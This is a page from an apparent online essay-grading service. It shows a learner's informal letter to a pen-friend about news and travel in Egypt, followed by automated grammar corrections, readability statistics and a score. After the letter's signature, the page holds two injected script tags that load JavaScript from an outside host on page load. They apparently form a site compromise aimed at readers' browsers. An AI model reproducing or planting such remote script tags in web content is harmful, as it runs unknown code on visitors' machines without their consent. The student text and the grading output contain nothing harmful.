23.10.2017 You have a pen-friend living in another country and he/she is curious to learn about the major news items in your country.
Write a letter to your pen-friend. In your letter:
• Greet your friend and say why you are writing.
• Briefly describe a news story in your country
• Explain why people are interested in it.
Hello i am looking for words to meet u soon really i miss talking with you and spending nice time together
today we had alot of new restaurant that presents the Eastern food you like , last week iwas in alexandria with my friends we went to the beach as u liked to do together and we really enjoying the time playing football and swimming i wish you could be there .
Also i have a very good news for u now we have a very good road to sharm as u don’t like our roads last visit now you will spent less time in driving and will feel comfort more
iam looking forwards to hear from you my dear friend
yours <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
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2019-11-26 | ibrahimdar | 73 | view |
Grammar and spelling errors:
Line 1, column 7, Rule ID: I_LOWERCASE[2]
Message: Did you mean 'I'?
Suggestion: I
Hello i am looking for words to meet u soon rea...
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Line 1, column 52, Rule ID: I_LOWERCASE[2]
Message: Did you mean 'I'?
Suggestion: I
...looking for words to meet u soon really i miss talking with you and spending nice...
^
Line 1, column 107, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...with you and spending nice time together today we had alot of new restaurant that...
^^^^^
Line 3, column 1, Rule ID: UPPERCASE_SENTENCE_START
Message: This sentence does not start with an uppercase letter
Suggestion: Today
...you and spending nice time together today we had alot of new restaurant that pres...
^^^^^
Line 3, column 76, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Put a space after the comma, but not before the comma
Suggestion: ,
... that presents the Eastern food you like , last week iwas in alexandria with my fr...
^^
Line 3, column 233, Rule ID: I_LOWERCASE[2]
Message: Did you mean 'I'?
Suggestion: I
... the time playing football and swimming i wish you could be there . Also i ha...
^
Line 3, column 258, Rule ID: COMMA_PARENTHESIS_WHITESPACE
Message: Don't put a space before the full stop
Suggestion: .
...l and swimming i wish you could be there . Also i have a very good news for u ...
^^
Line 3, column 261, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...nd swimming i wish you could be there . Also i have a very good news for u now w...
^^^^
Line 5, column 1, Rule ID: SENT_START_CONJUNCTIVE_LINKING_ADVERB_COMMA[1]
Message: Did you forget a comma after a conjunctive/linking adverb?
Suggestion: Also,
...wimming i wish you could be there . Also i have a very good news for u now we ha...
^^^^
Line 5, column 13, Rule ID: A_UNCOUNTABLE[5]
Message: Uncountable nouns are usually not used with an indefinite article. Use simply 'very good news'.
Suggestion: very good news
...sh you could be there . Also i have a very good news for u now we have a very good road to s...
^^^^^^^^^^^^^^^^
Line 5, column 129, Rule ID: DID_BASEFORM[1]
Message: The verb 'will' requires the base form of the verb: 'spend'
Suggestion: spend
... like our roads last visit now you will spent less time in driving and will feel comf...
^^^^^
Line 5, column 182, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...me in driving and will feel comfort more iam looking forwards to hear from you my...
^^^^^
Line 7, column 53, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
...forwards to hear from you my dear friend yours
^^^^^
Transition Words or Phrases used:
also, look, really, so
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 1.0 7.48453608247 13% => More to be verbs wanted.
Auxiliary verbs: 3.0 4.92783505155 61% => OK
Conjunction : 4.0 5.05154639175 79% => OK
Relative clauses : 1.0 3.03092783505 33% => OK
Pronoun: 18.0 32.9175257732 55% => OK
Preposition: 15.0 26.3917525773 57% => More preposition wanted.
Nominalization: 0.0 3.85567010309 0% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 498.0 937.175257732 53% => More number of characters wanted.
No of words: 120.0 206.0 58% => More content wanted.
Chars per words: 4.15 4.54256449028 91% => OK
Fourth root words length: 3.30975091965 3.78020617076 88% => OK
Word Length SD: 2.09598995179 2.54303337028 82% => OK
Unique words: 82.0 127.690721649 64% => More unique words wanted.
Unique words percentage: 0.683333333333 0.622605031667 110% => OK
syllable_count: 147.6 290.88556701 51% => syllable counts are too short.
avg_syllables_per_word: 1.2 1.41237113402 85% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 1.0 9.13402061856 11% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 0.0 1.83505154639 0% => More adverbial clause wanted.
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 0.0 1.44329896907 0% => More preposition wanted as sentence beginning.
Performance on sentences:
How many sentences: 2.0 12.6804123711 16% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 60.0 16.3608247423 367% => The Avg. Sentence Length is relatively long.
Sentence length SD: 61.0 44.8134815571 136% => OK
Chars per sentence: 249.0 76.5299724578 325% => Less chars_per_sentence wanted.
Words per sentence: 60.0 16.8248392259 357% => Less words per sentence wanted.
Discourse Markers: 11.0 4.34317383033 253% => Less transition words/phrases wanted.
Paragraphs: 4.0 4.29896907216 93% => OK
Language errors: 13.0 2.54639175258 511% => Less language errors wanted.
Sentences with positive sentiment : 2.0 7.41237113402 27% => More positive sentences wanted.
Sentences with negative sentiment : 0.0 1.49484536082 0% => More negative sentences wanted.
Sentences with neutral sentiment: 0.0 3.94845360825 0% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.143788023199 0.216113520407 67% => OK
Sentence topic coherence: 0.113012580027 0.0766984524023 147% => OK
Sentence topic coherence SD: 0.0375654865396 0.0603063233224 62% => OK
Paragraph topic coherence: 0.0707797269213 0.12726935374 56% => OK
Paragraph topic coherence SD: 0.0329404967969 0.0580467560999 57% => OK
Essay readability:
automated_readability_index: 28.1 8.37731958763 335% => Automated_readability_index is high.
flesch_reading_ease: 44.42 70.7449484536 63% => OK
smog_index: 0.0 3.82989690722 0% => Smog_index is low.
flesch_kincaid_grade: 22.0 7.45979381443 295% => Flesch kincaid grade is high.
coleman_liau_index: 7.68 8.71597938144 88% => OK
dale_chall_readability_score: 8.72 7.59969072165 115% => OK
difficult_words: 16.0 41.2886597938 39% => More difficult words wanted.
linsear_write_formula: 26.0 8.62886597938 301% => Linsear_write_formula is high.
gunning_fog: 26.0 8.54432989691 304% => Gunning_fog is high.
text_standard: 26.0 8.15463917526 319% => The average readability is very high. Good job!
What are above readability scores?
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Minimum 150 words wanted.
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 5.0 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.